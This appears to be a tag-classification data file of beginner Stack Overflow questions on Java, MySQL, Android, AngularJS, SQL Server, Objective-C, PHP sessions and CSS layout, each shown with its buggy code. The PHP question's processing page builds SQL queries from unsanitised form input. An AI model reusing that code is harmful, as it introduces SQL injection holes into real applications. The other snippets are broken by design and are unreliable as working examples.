the operator || is undefined for the argument type  java is really confusing me with its brackets and variables and i know with just a little help i can understand what the problem is and get on with it.   <pre><code>if(value1=|| </code></pre>   is where the error is.    apologize in advance that indenting 8 spaces appears to have not had this pull in correctly either. help with that also appreciated...   <pre><code>import java.util.scanner; public class wtf {   public static void main(string[] args) {      scanner input =new scanner(system.in);      system.out.println( please enter your character );     string value1 =input.tostring();       if (value1 = a || a || e || e || i || i || o || o || u || u ) {       system.out.print( you entered   +value1);     }     else  system.out.print( consonant );   }  } </code></pre>,java
mysql error 1064 i don t know what i ve done wrong  sorry  i know that there are very similar questions out there  but i just dont get what i ve done wrong here.    the code   <pre><code> create table kontakte  (  vorname varchar(255)   nachname varchar(255)   alter varchar(255)   geburtsdatum date   adresse varchar(255)   ort varchar(255)   nummer varchar(255)  nummerhaus varchar(255)   email varchar(255)   anmerkung text character set latin1  ); </code></pre>   gives this error:   <blockquote>    error 1064 (42000): you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  alter varchar(255)  geburtsdatum date  adresse varchar(255)  ort varchar(255)  n  at line 1  </blockquote>   can somebody please help me!,mysql
how to randomly put buttons on screen   let i have <code>n</code> buttons. and i need to put them on screen randomly. they don t have to overlay each other. and also they don t have to be putted outside of the screen. after the little search i ve found a way to achieve it <a href= https://stackoverflow.com/questions/22144690/how-to-display-a-button-in-random-screen-position >here</a>    below is my code:    <pre><code>    setcontentview(r.layout.activity_main);      linearlayout l = (linearlayout)findviewbyid(r.id.root) ;      displaymetrics displaymatrics = new displaymetrics();      getwindowmanager().getdefaultdisplay().getmetrics(displaymatrics);      for(int i = 1 ; i&lt;=n ; i++) {         button b = new button(this) ;          b.settext( a );          b.setlayoutparams(new linearlayout.layoutparams(dptopx(65) dptopx(65)));          random r = new random();          float dx = r.nextfloat() * displaymatrics.widthpixels;          float dy = r.nextfloat() * displaymatrics.heightpixels;          b.animate().x(dx).y(dy).setduration(0).start();          l.addview(b);      }   } private int dptopx(int dp) {      return (int) (dp * resources.getsystem().getdisplaymetrics().density); } </code></pre>   but the problem is that some buttons are hidden outside of the screen. how to solve this problem  and after this  how buttons cannot be overlayed each other,android
angularjs: preventing addclass on page load in directive  i have a directive that adds a class for css animation  then removes said class. the problem is the directive executes the animation on load. the animation is supposed to occur only on button click. how do i prevent the animation from starting on page load     <a href= http://jsbin.com/ganet/3/edit  rel= nofollow >jsbin</a>    directive:   <pre><code>app.directive( spinme   function() {   return function(scope  elem  attrs) {     scope.$watch(attrs.spinme  function() {       elem.addclass( spin );       settimeout(function() {         elem.removeclass( spin );       }  500);     });   }; }); </code></pre>   controller:   <pre><code>function myctrl($scope) {     $scope.togglespin = false; } </code></pre>   html:   <pre><code>&lt;a href=   ng-click= togglespin = !togglespin &gt;start spin&lt;/a&gt; &lt;div spin-me= togglespin &gt;spin me!&lt;/div&gt; </code></pre>,angularjs
sql server check for null value  i have a table and i am adding a constraint so if paymenttype is different than  check  to ensure that the checknumber is null. this is my table:   <pre><code>create table registrationheader(     registrationno numeric       billingid varchar(30) unique not null      registrationdate date not null      paymenttype varchar(5) check (paymenttype =  cc  or paymenttype =  po  or paymenttype =  check ) not null      ccnumber varchar(16) check(len(ccnumber) = 16 or len(ccnumber) = 15)      ponumber varchar(30)      checknumber varchar(10) default null      primary key(registrationno)      constraint cc_ccnumber_constr check(         (paymenttype =  cc  and ccnumber is not null)         or         (paymenttype !=  cc  and ccnumber is null)     )      constraint po_ponumber_constr check(         (paymenttype =  po  and (ponumber is not null or ponumber !=   ))         or         (paymenttype !=  po  and ponumber is null)     ) ); </code></pre>   so  i have tried    <pre><code> constraint checknumber_type_constr check((paymenttype =  cc  or paymenttype =  po ) and checknumber is null) </code></pre>   and    <pre><code> constraint checknumber_type_constr check((paymenttype !=  check ) and checknumber is null) </code></pre>   and both fail miserably...,sql
doubts when using designated initializer and multiple initializers  lets consider simple class x:   <pre><code>@implementation x  /* primary convenience initializer */ - (id)init {     nslog(@ init: self=%@   self);     return [self initwithvalue:0]; }  /* secondary convenience initializer */ - (id)initwithvalue:(int)val {     nslog(@ initwithvalue: self=%@   self);     return [self initwithvalue:val andtext:@  ]; }  /* designated initializer */ - (id)initwithvalue:(int)val andtext:(nsstring*)text {     self = [super init];     if (self) {         // some initial stuff     }     nslog(@ initwithvalue: andtext: self=%@   self);     return self; }  @end </code></pre>   and then instantiate a class x:   <pre><code>x *x = [[x alloc] init]; </code></pre>   log result is following:   <pre><code>init: self=&lt;x: 0x8f25050&gt; initwithvalue: self=&lt;x: 0x8f25050&gt; initwithvalue: andtext: self=&lt;x: 0x8f25050&gt; </code></pre>   no surprise  of course. instance address is same in all initializers. but my question is: <strong>for what reason should i insert self checking in the designated initializer </strong>   <pre><code>if (self) {     // some initial stuff } </code></pre>   since the self already exists at this point. moreover  just a line before is a call a super initializer:   <pre><code>self = [super init]; </code></pre>   what does it mean  <strong>is it possible that address of self can change </strong> any hints     imho  using self address for delegates or for any other purposes  could lead to strange issues if a self could change in the initializers.,ios
using session data in php  i m having a difficult time understanding the $_session function in php. i m building a multipage form and when it was a single form  everything worked as expected. now i m trying to figure out $_session so that data from page1 carries to page2 for the submit.     so here is <strong>page 1</strong>:   <pre><code>&lt; php require_once( ../tim/includes/validation_functions.php );       include( ../tim/includes/session.php );        require_once( ../tim/includes/variables.php );        include ( /testing/tim/obervation-upload.php );    &gt; &lt; php session_start(); // session starts here.  &gt; &lt;!doctype html&gt; &lt;html lang= en &gt;     &lt;head&gt;     &lt;link rel= stylesheet  type= text/css  href= /testing/tim/bootstrap.css &gt;     &lt;link rel= stylesheet  type= text/css  href= /testing/tim/bootstrap-theme.min.css &gt;       &lt;script type= text/javascript  src= /testing/tim/js/jquery-3.1.0.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= /testing/tim/js/bootstrap.min.js &gt;&lt;/script&gt;      &lt;title&gt;assessment application&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt; &lt;div&gt; &lt;h2&gt;3sp assessment&lt;/h2&gt;      &lt;span id= error &gt;  &lt;!---- initializing session for errors ---&gt;  &lt; php  if (!empty($_session[ error ])) {  echo $_session[ error ];  unset($_session[ error ]);  }   &gt;  &lt;/span&gt;  &lt;form class= form-horizontal  role= form  name= assessment  action= application_form.php  method= post &gt; &lt;div class= form-group  style= margin-bottom:10px; &gt; &lt;label for= company_name  class= col-lg-1 col-md-2 col-sm-4 control-label &gt;&lt;strong&gt;company name:&lt;/strong&gt;&lt;/label&gt; &lt;div class= col-md-2 &gt; &lt;input type= text  id= company_name  name= company_name   class= form-control  required&gt; &lt;/div&gt;   &lt;div class= clearfix &gt;&lt;/div&gt; &lt;label for= date  class= col-lg-1 col-md-2 col-sm-4 control-label &gt;&lt;strong&gt;date:&lt;/strong&gt;&lt;/label&gt;  &lt;div class= col-md-2 &gt;&lt;input type= date  name= date  id= date  class= form-control  required&gt; &lt;/div&gt;  &lt;div class= clearfix &gt;&lt;/div&gt;  &lt;label for= rsm  class= col-lg-1 col-md-2 col-sm-4 control-label &gt;&lt;strong&gt;regional sales manager:&lt;/strong&gt;&lt;/label&gt; &lt;div class= col-md-2 &gt; &lt;input type= text  name= rsm  id= rsm  class= form-control  required&gt;&lt;/div&gt; &lt;div class= clearfix &gt;&lt;/div&gt; &lt;label for= agents  class= col-lg-1 col-md-2 col-sm-4 control-label &gt;&lt;strong&gt;agents:&lt;/strong&gt; &lt;/label&gt; &lt;div class= col-md-2 &gt; &lt;input type= text  name= agents  id= agents  class= form-control  required&gt;&lt;/div&gt; &lt;div class= clearfix &gt;&lt;/div&gt; &lt;label for= distributor  class= col-lg-1 col-md-2 col-sm-4 control-label &gt;&lt;strong&gt;distributor:&lt;/strong&gt; &lt;/label&gt; &lt;div class= col-md-2 &gt;&lt;input type= text  name= distributor  class= form-control  required&gt;&lt;/div&gt; &lt;/div&gt;  &lt;p style= margin-left:5px; &gt;&lt;input class= btn btn-danger  type= reset &gt;  &lt;input style= margin-left:10px;  class= btn btn-success  type= submit  value= next  /&gt;&lt;/p&gt; &lt;/form&gt;  &lt;p class= pull-left &gt;&lt;a type= button  class= btn btn-default  href= http://us.pipglobal.com/en/  target= _blank &gt;cancel&lt;/a&gt;&lt;/p&gt; &lt;/div&gt;       &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>page 2:</strong>   <pre><code>&lt; php require_once( ../tim/includes/validation_functions.php );       include( ../tim/includes/session.php );        require_once( ../tim/includes/variables.php );        include ( /testing/tim/obervation-upload.php );    &gt; &lt; php session_start();  foreach ($_post as $key =&gt; $value) {  $_session[ post ][$key] = $value;  }  &gt; &lt;!doctype html&gt; &lt;html lang= en &gt;     &lt;head&gt;     &lt;link rel= stylesheet  type= text/css  href= /testing/tim/bootstrap.css &gt;     &lt;link rel= stylesheet  type= text/css  href= /testing/tim/bootstrap-theme.min.css &gt;       &lt;script type= text/javascript  src= /testing/tim/js/jquery-3.1.0.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= /testing/tim/js/bootstrap.min.js &gt;&lt;/script&gt;       &lt;title&gt;assessment application&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;  &lt;div&gt; &lt;h2&gt;3sp assessment&lt;/h2&gt;       &lt;form name= assessment  action= create_new_record.php  method= post  enctype= multipart/form-data &gt; &lt;p&gt;department name: &lt;input type= text  name= department_name   /&gt; &lt;/p&gt; &lt;p&gt;participant name: &lt;input type= text  name= participant_name  /&gt; &lt;/p&gt; &lt;p&gt;activity performed: &lt;textarea cols= 25  rows= 3  name= activity  &gt;&lt;/textarea&gt; &lt;/p&gt; &lt;p&gt;location: &lt;input type= text  name= location   /&gt; &lt;/p&gt; &lt;p&gt;conditon: &lt;select class= form-control  name= condition  style= width:20%; &gt;   &lt;option value= dry  id= dry &gt;dry&lt;/option&gt;   &lt;option value= heavy_oil  id= heavy_oil &gt;heavy oil/grease&lt;/option&gt;   &lt;option value= light_oil  id= light_oil &gt;light oil&lt;/option&gt;   &lt;option value= sandy  id= sandy &gt;sandy/grit&lt;/option&gt;   &lt;option value= wet  id= wet &gt;slightly wet&lt;/option&gt; &lt;/select&gt;&lt;/p&gt;  &lt;div class= well &gt; &lt;p&gt;avg number of recordable injuries: &lt;input type= number  name= injuries  /&gt;  &lt;select name= injury_time_frame &gt;        &lt;option value= last month &gt;last month&lt;/option&gt;    &lt;option value= last 6 months &gt;last 6 months&lt;/option&gt;    &lt;option value= last 12 months &gt;last 12 months&lt;/option&gt;   &lt;/select&gt; &lt;/p&gt;  &lt;h4&gt;based on the number of recordable injuries - estimate the injury type by percentage &lt;/h4&gt;  &lt;div class= container-fluid &gt;   &lt;div class= form-group row &gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  id= cuts  name= cuts  type= number  min= 0  max= 100   value=   placeholder= cuts / lacerations / abrasion  /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  id= burns  name= burns  type= number  min= 0  max= 100  value=   placeholder= heat or chemical burn  /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  id= infection  name= infection  type= number  min= 0  max= 100  value=   placeholder= infection  /&gt; &lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  id= dermatitis  name= dermatitis  type= number  min= 0  max= 100  value=   placeholder= dermatitis  /&gt; &lt;/div&gt;     &lt;div class= clearfix visible-xs-block &gt;&lt;/div&gt; &lt;div class= hidden-xs hidden-sm &gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  id= puncture  name= puncture  type= number  min= 0  max= 100  value=   placeholder= puncture  /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  id= sprain  name= sprain  type= number  min= 0  max= 100  value=   placeholder= carpal tunnel / sprain  /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  id= impact  name= impact  type= number  min= 0  max= 100  value=   placeholder= impact / contusion / inflammation  /&gt; &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;p id= rec_injuries &gt;&lt;/p&gt; &lt;script&gt; function percentagetest() {      // get the value of the input fields     a = document.getelementbyid( cuts ).value;     b = document.getelementbyid( burns ).value;     c = document.getelementbyid( infection ).value;     d = document.getelementbyid( dermatitis ).value;     e = document.getelementbyid( puncture ).value;     f = document.getelementbyid( sprain ).value;     g = document.getelementbyid( impact ).value;      var x = (a + b + c + d + e + f + g);      // grouping together and doing the math     if (x = !100) {         text =  the total percentage must equal 100% ;     } else {         text =  congrats the total = 100% ;     }     document.getelementbyid( rec_injuries ).innerhtml = text; } &lt;/script&gt; &lt;/div&gt;  &lt;div class= well &gt; &lt;p&gt;avg number of non-recordable injuries: &lt;input type= number  name= non_rec_injuries  /&gt;  &lt;select name= non_rec_injury_timeframe &gt;     &lt;option value= last month &gt;last month&lt;/option&gt;     &lt;option value= last 6 months &gt;last 6 months&lt;/option&gt;     &lt;option value= last 12 months &gt;last 12 months&lt;/option&gt;  &lt;/select&gt; &lt;/p&gt; &lt;h4&gt;based on the number of non-recordable injuries - estimate the injury type by percentage &lt;/h4&gt; &lt;div class= container-fluid &gt;   &lt;div class= form-group row &gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  name= non_rec_cuts  type= number  min= 0  max= 100  value=   placeholder= cuts / lacerations / abrasion  /&gt; &lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  name= non_rec_burns  type= number  min= 0  max= 100  value=   placeholder= heat or chemical burn  /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  name= non_rec_infection  type= number  min= 0  max= 100  value=   placeholder= infection  /&gt; &lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  name= non_rec_dermatitis  type= number  min= 0  max= 100  value=   placeholder= dermatitis  /&gt; &lt;/div&gt;     &lt;div class= clearfix visible-xs-block &gt;&lt;/div&gt; &lt;div class= hidden-xs hidden-sm &gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  name= non_rec_puncture  type= number  min= 0  max= 100  value=   placeholder= puncture  /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  name= non_rec_sprain  type= number   min= 0  max= 100  value=   placeholder= carpal tunnel / sprain  /&gt;&lt;/div&gt;     &lt;div class= col-md-3 col-sm-4 &gt;&lt;input class= form-control  name= non_rec_impact  type= number  min= 0  max= 100  value=   placeholder= impact / contusion / inflammation  /&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;  &lt;p&gt;estimated cost of productivity (downtime)/minute: $ &lt;input type= number  name= cost_of_productivity  /&gt; &lt;/p&gt; &lt;p&gt;percent of leakage related to uncontrolled dispensing: &lt;input type= number  min= 0  max= 100  name= leakage  /&gt; % &lt;/p&gt; &lt;p&gt;which competitor is the participant using   &lt;input type= text  name= competitor  /&gt;&lt;/p&gt; &lt;p&gt;usage rate per 12 months (pairs): &lt;input type= number  min= 0  name= usage_rate  /&gt;&lt;/p&gt; &lt;p&gt;estimated cost per pair: $ &lt;input type= number  min= 0  name= cost_per_pair  /&gt;&lt;/p&gt; &lt;br /&gt;   &lt;div class= container  style= margin-left:0px; padding-left:0px; &gt; &lt;div class= form-group row  style= margin-left:0px; &gt;  &lt;div class= col-md-3 col-sm-6 &gt; &lt;label for= safetyhazard1_notes &gt;&lt;strong&gt;safety observation 1:&lt;/strong&gt;&lt;/label&gt;  &lt;input type= file  name= safetyhazard1  id= safetyhazard1  value=  &gt;&lt;br /&gt; &lt;br /&gt; &lt;textarea cols= 25  rows= 3  id= safetyhazard1_notes  name= safetyhazard1_notes  placeholder= enter notes for this observation  &gt;&lt;/textarea&gt; &lt;/div&gt;  &lt;div class= col-md-3 col-sm-6 &gt; &lt;label for= safetyhazard2_notes &gt;&lt;strong&gt;safety observation 2:&lt;/strong&gt;&lt;/label&gt; &lt;input type= file  name= safetyhazard2  id= safetyhazard2  value=  &gt;&lt;br /&gt;&lt;br /&gt; &lt;textarea cols= 25  rows= 3  id= safetyhazard2_notes  name= safetyhazard2_notes  placeholder= enter notes for this observation  &gt;&lt;/textarea&gt; &lt;/div&gt;  &lt;div class= col-md-3 col-sm-6 &gt; &lt;label for= safetyhazard3_notes &gt;&lt;strong&gt;safety observation 3:&lt;/strong&gt;&lt;/label&gt; &lt;input type= file  name= safetyhazard3  id= safetyhazard3  value=  &gt;&lt;br /&gt;&lt;br /&gt; &lt;textarea cols= 25  rows= 3  id= safetyhazard2_notes  name= safetyhazard2_notes  placeholder= enter notes for this observation  &gt;&lt;/textarea&gt; &lt;/div&gt;   &lt;div class= col-md-3 col-sm-6 &gt; &lt;label for= other_notes &gt;&lt;strong&gt;other observations:&lt;/strong&gt;&lt;/label&gt; &lt;input type= file  name= otherobservation  id= otherobservation  value=  &gt;&lt;br /&gt;&lt;br /&gt; &lt;textarea cols= 25  rows= 3  id= other_notes  name= other_notes  placeholder= enter notes for this observation  &gt;&lt;/textarea&gt; &lt;/div&gt; &lt;/div&gt;&lt;/div&gt; &lt;br /&gt;  &lt;p style= margin-left:5px; &gt;&lt;input class= btn btn-danger  type= reset &gt;  &lt;input style= margin-left:10px;  class= btn btn-primary  type= button  name= new_location  value= add additional location  /&gt; &lt;input style= margin-left:10px;  class= btn btn-success  type= submit  name= submit  value= create new assessment  /&gt;&lt;/p&gt; &lt;/form&gt;  &lt;p class= pull-left &gt;&lt;a type= button  class= btn btn-default  href= http://us.pipglobal.com/en/  target= _blank &gt;cancel&lt;/a&gt;&lt;/p&gt; &lt;/div&gt;       &lt;/body&gt; &lt;/html&gt; </code></pre>   and finally the <strong>processing page</strong>:   <pre><code>&lt; php require_once( ../tim/includes/session.php );  require_once ( ../tim/includes/functions.php ); require_once( ../tim/includes/validation_functions.php );   &gt;  &lt; php if(isset($_post[ submit ])) { $target_dir = $_server[ document_root ] .  /testing/tim/uploads/ ; $target_file = $target_dir . basename($_files[ safetyhazard1 ][ name ]); $uploadok = 1; $imagefiletype = pathinfo($target_file pathinfo_extension);  // check if image file is a actual image or fake image     $check = getimagesize($_files[ safetyhazard1 ][ tmp_name ]);     if($check !== false) {         echo  file is an image -   . $check[ mime ] .  . ;         $uploadok = 1;     } else {         echo  file is not an image. ;         $uploadok = 0;     }  // check if file already exists if (file_exists($target_file)) {     echo  sorry  file already exists. ;     $uploadok = 0; }  // check file size if ($_files[ safetyhazard1 ][ size ] &gt; 500000) {     echo  sorry  your file is too large. ;     $uploadok = 0; }  // allow certain file formats if($imagefiletype !=  jpg  &amp;&amp; $imagefiletype !=  png  &amp;&amp; $imagefiletype !=  jpeg  &amp;&amp; $imagefiletype !=  gif  ) {     echo  sorry  only jpg  jpeg  png &amp; gif files are allowed. ;     $uploadok = 0; }  // check if $uploadok is set to 0 by an error if ($uploadok == 0) {     echo  sorry  your file was not uploaded. ; // if everything is ok  try to upload file } else {     if (move_uploaded_file($_files[ safetyhazard1 ][ tmp_name ]  $target_file)) {         echo  the file  . basename( $_files[ safetyhazard1 ][ name ]).   has been uploaded. ;     } else {         echo  sorry  there was an error uploading your file. ;     } } foreach ($_post as $key =&gt; $value) {  $_session[ post ][$key] = $value;  }    extract($_session[ post ]);      // process the form     $department_name = ($_post[ department_name ]);     $participant_name = ($_post[ participant_name ]);     $activity = ($_post[ activity ]);     $location = ($_post[ location ]);     $rec_injuries = ($_post[ injuries ]);     $rec_injuries_timeframe = ($_post[ injury_time_frame ]);     $non_rec_injuries = ($_post[ non_rec_injuries ]);     $non_rec_injuries_timeframe = ($_post[ non_rec_injury_timeframe ]);     $rec_cuts = ($_post[ cuts ]);     $rec_burns = ($_post[ burns ]);     $rec_infection = ($_post[ infection ]);     $rec_dermatitis = ($_post[ dermatitis ]);     $rec_puncture = ($_post[ puncture ]);     $rec_sprain = ($_post[ sprain ]);     $rec_impact = ($_post[ impact ]);     $non_rec_cuts = ($_post[ non_rec_cuts ]);     $non_rec_burns = ($_post[ non_rec_burns ]);     $non_rec_infection = ($_post[ non_rec_infection ]);     $non_rec_dermatitis = ($_post[ non_rec_dermatitis ]);     $non_rec_puncture = ($_post[ non_rec_puncture ]);     $non_rec_sprain = ($_post[ non_rec_sprain ]);     $non_rec_impact = ($_post[ non_rec_impact ]);     $cost_of_productivity = ($_post[ cost_of_productivity ]);     $leakage = (($_post[ leakage ]) / 100);     $usage_rate = ($_post[ usage_rate ]);     $cost_per_pair = ($_post[ cost_per_pair ]);     $condition = ($_post[ condition ]);     $safety_hazard_1 = basename( $_files[ safetyhazard1 ][ name ]);     $safety_hazard_2 = ($_post[ safetyhazard2 ]);     $safety_hazard_3 = ($_post[ safetyhazard3 ]);     $other_observation = ($_post[ otherobservation ]);      $safetyhazard1_notes = ($_post[ safetyhazard1_notes ]);     $safetyhazard2_notes = ($_post[ safetyhazard2_notes ]);     $safetyhazard3_notes = ($_post[ safetyhazard3_notes ]);     $othernotes = ($_post[ othernotes ]);      $competitor = ($_post[ competitor ]);     $company_name = ($_post[ company_name ]);     $date = ($_post[ date ]);     $rsm = ($_post[ rsm ]);     $agents = ($_post[ agents ]);     $distributor = ($_post[ distributor ]);    print  distributor:   . $distributor;   exit;     // perform first database insert         $query1  =  insert into location_info ( ;     $query1 .=  `department`  `participant`  `activity`  `location`  `rec_injuries`  `rec_injuries_timeframe`  `non_rec_injuries`  `non_rec_injuries_timeframe`  `competitor`  `cost_per_pair`  `usage_rate`  `leakage`  `cost_of_productivity`  `non_rec_impact`  `non_rec_sprain`  `non_rec_puncture`  `non_rec_dermatitis`  `non_rec_infection`  `non_rec_burns`  `non_rec_cuts`  `rec_impact`  `rec_sprain`  `rec_puncture`  `rec_dermatitis`  `rec_infection`  `rec_burns`  `rec_cuts`  `condition`  `safety_hazard_1`  `safety_hazard_2`  `safety_hazard_3`  `other_observation` `safetyhazard1_notes`  `safetyhazard2_notes`  `safetyhazard3_notes`  `othernotes` ;     $query1 .=  ) values ( ;     $query1 .=     {$department_name}    {$participant_name}    {$activity}    {$location}    {$rec_injuries}    {$rec_injuries_timeframe}         {$non_rec_injuries}    {$non_rec_injuries_timeframe}    {$competitor}    {$cost_per_pair}    {$usage_rate}    {$leakage}    {$cost_of_productivity}    {$non_rec_impact}    {$non_rec_sprain}    {$non_rec_puncture}    {$non_rec_dermatitis}    {$non_rec_infection}    {$non_rec_burns}    {$non_rec_cuts}    {$rec_impact}    {$rec_sprain}    {$rec_puncture}    {$rec_dermatitis}    {$rec_infection}    {$rec_burns}    {$rec_cuts}    {$condition}    {$safety_hazard_1}    {$safety_hazard_2}    {$safety_hazard_3}    {$other_observation}   {$safetyhazard1_notes}    {$safetyhazard2_notes}    {$safetyhazard3_notes}    {$othernotes}  ;     $query1 .=  ) ;     $result1 = mysqli_query($connection  $query1);      if ($result1) {         // success      $_session[ message ] =  assessment created. ;         redirect_to( results.php );     } else {         // failure         $_session[ message ] =  assessment creation failed. ;         redirect_to( errors.php );             }         // perform second database insert        $query2  =  insert into general_assessment ( ;     $query2 .=  `company_name`  `date`  `rsm`  `agents`  `distributor` ;     $query2 .=  ) values ( ;     $query2 .=     {$company_name}    {$date}    {$rsm}    {$agents}    {$distributor}  ;     $query2 .=  ) ;     $result2 = mysqli_query($connection  $query2);      if ($result2) {         // success      $_session[ message ] =  assessment created. ;         redirect_to( results.php );     } else {         // failure         $_session[ message ] =  assessment creation failed. ;         redirect_to( errors.php );             }    } else {     redirect_to($_server[ document_root ]. /testing/tim/errors-inserting.php );  }  &gt;  &lt; php     if (isset($connection)) { mysqli_close($connection); }  &gt; </code></pre>   you ll see on the processing page my little test of    <pre><code>print  distributor:   . $distributor;   exit; </code></pre>   this would obviously be removed when working.,php
i have a white box behindcontent and nav divs  cannot figure out how to rid of it  ok  2 days and multiple forums  oh and restarting the entire css file. still get same results so i am always going to have this problem it seems till i  or someone figures it out.    i have a white  box behind my nav bar and 1st content+sidebar. it is throwing my sidebar off. along with other things as i change stuff to figure it out. i just started learning css 2 days ago  so now you know why i am having this problem :). prob an easy fix    first pic the box is black. i changed all items assigned black to white. the box went white. changed items back to black  it stayed white. first pic has a purple bar on bottom of banner div  but you can see it on top.    ![enter image description here][1]    2nd pic it is white  i colored content pink cause it was white and harder to see box    ![enter image description here][2]        html code is   <pre><code>    &lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;title&gt;welcome to mizphit.com!&lt;/title&gt; &lt;link href= css/style.css  rel= stylesheet  type= text/css  media= screen &gt;     &lt;/head&gt;      &lt;body&gt;          &lt;div id= wrapper &gt;              &lt;div id= banner &gt;                 &lt;div id= logo &gt;                     &lt;img src= images/logo.jpg &gt;                 &lt;/div&gt;                 &lt;div id= bannerfill &gt;                     &lt;p&gt;advertise here!&lt;/p&gt;                     &lt;img src= images/fillpic.jpg &gt;                 &lt;/div&gt;             &lt;/div&gt;              &lt;div id= navbar &gt;                     &lt;ul&gt;                         &lt;li&gt;&lt;a href= index.html &gt;home&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= http://www.twitch.tv/mizphitgaming &gt;twitch home&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= http://www.youtube.com/user/mizphitgaming &gt;youtube home&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= fantasygames/index.html &gt;fantasy games home&lt;/a&gt;&lt;/li&gt;                                                            &lt;/ul&gt;                            &lt;/div&gt;             &lt;div id= content &gt;                 &lt;p&gt;paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   &lt;/p&gt;             &lt;/div&gt;              &lt;div id= content2 &gt;                 &lt;p&gt;paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   &lt;/p&gt;                      &lt;/div&gt;             &lt;div id= sidebar &gt;                 &lt;p&gt;paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   paragraph   &lt;/p&gt;                      &lt;/div&gt;             &lt;div id= footer &gt;                 &lt;div id= footlogo &gt;&lt;img src= images/logo1.png &gt;&lt;/div&gt;             &lt;/div&gt;          &lt;/div&gt;     &lt;/body&gt;  &lt;/html&gt; </code></pre>  #   css code is minus the reset css. i took it out and it was still there.   <pre class= lang-css prettyprint-override ><code>#wrapper { width:1024px; margin:0px auto; background-color:#ffffff; }  #banner {  background-color:#000000; width:100%; padding:20px 0; overflow:hidden; }  #logo { margin:0 0 0 10px; float:left; }  #bannerfill { float:right; width:200px; margin:0 10px 0 0; } #bannerfill p { float:right; color:#ffffff; float:right; font-size:11px; margin:4px 10px 4px 0px; } #bannerfill img { float:right; width:50px; height:50px; }  #navbar ul { width:100%; float:left; margin:0px; background-color:#ffcc00; } #navbar ul li { display:inline; } #navbar ul li a { float:left;  padding:10px 20px; }  #navbar a:link    {color:#ffffff; } #navbar a:visited {color:#ffffff; } #navbar a:active  {color:#ffffff; } #navbar a:hover   {color:#ffffff; background-color:#cc00ff; } #navbar a:focus   {color:#ffffff; }  #content { float:left; width:700px; padding:10px; margin:5px; background-color:#ff99cc; border:1px ffcc00 solid; }  #content2 { float:left; width:700px; padding:10px; margin:5px; background-color:#ffffff; border:1px ffcc00 solid; }  #sidebar { float:right; width:200px; padding:0 5px 5px 5px; margin:0 5px 5px 0; background-color:#ffffff; border:1px ffcc00 solid; }  #footer { width:100%; height:175px; padding:0px; text-align:center; background-color:ffcc00; } #footlogo { width:100%; height:100%; } </code></pre>   ok well you have to figure out what i m saying without pictures since this site does not allow me to. sure would be easier if you seen what i m talking about.    any and all help is greatly appreciated. this problem fix will get me going again  and hopefully non stop since i hear  and do believe css is really not that hard. just have to get used to it. thanks in advance,css
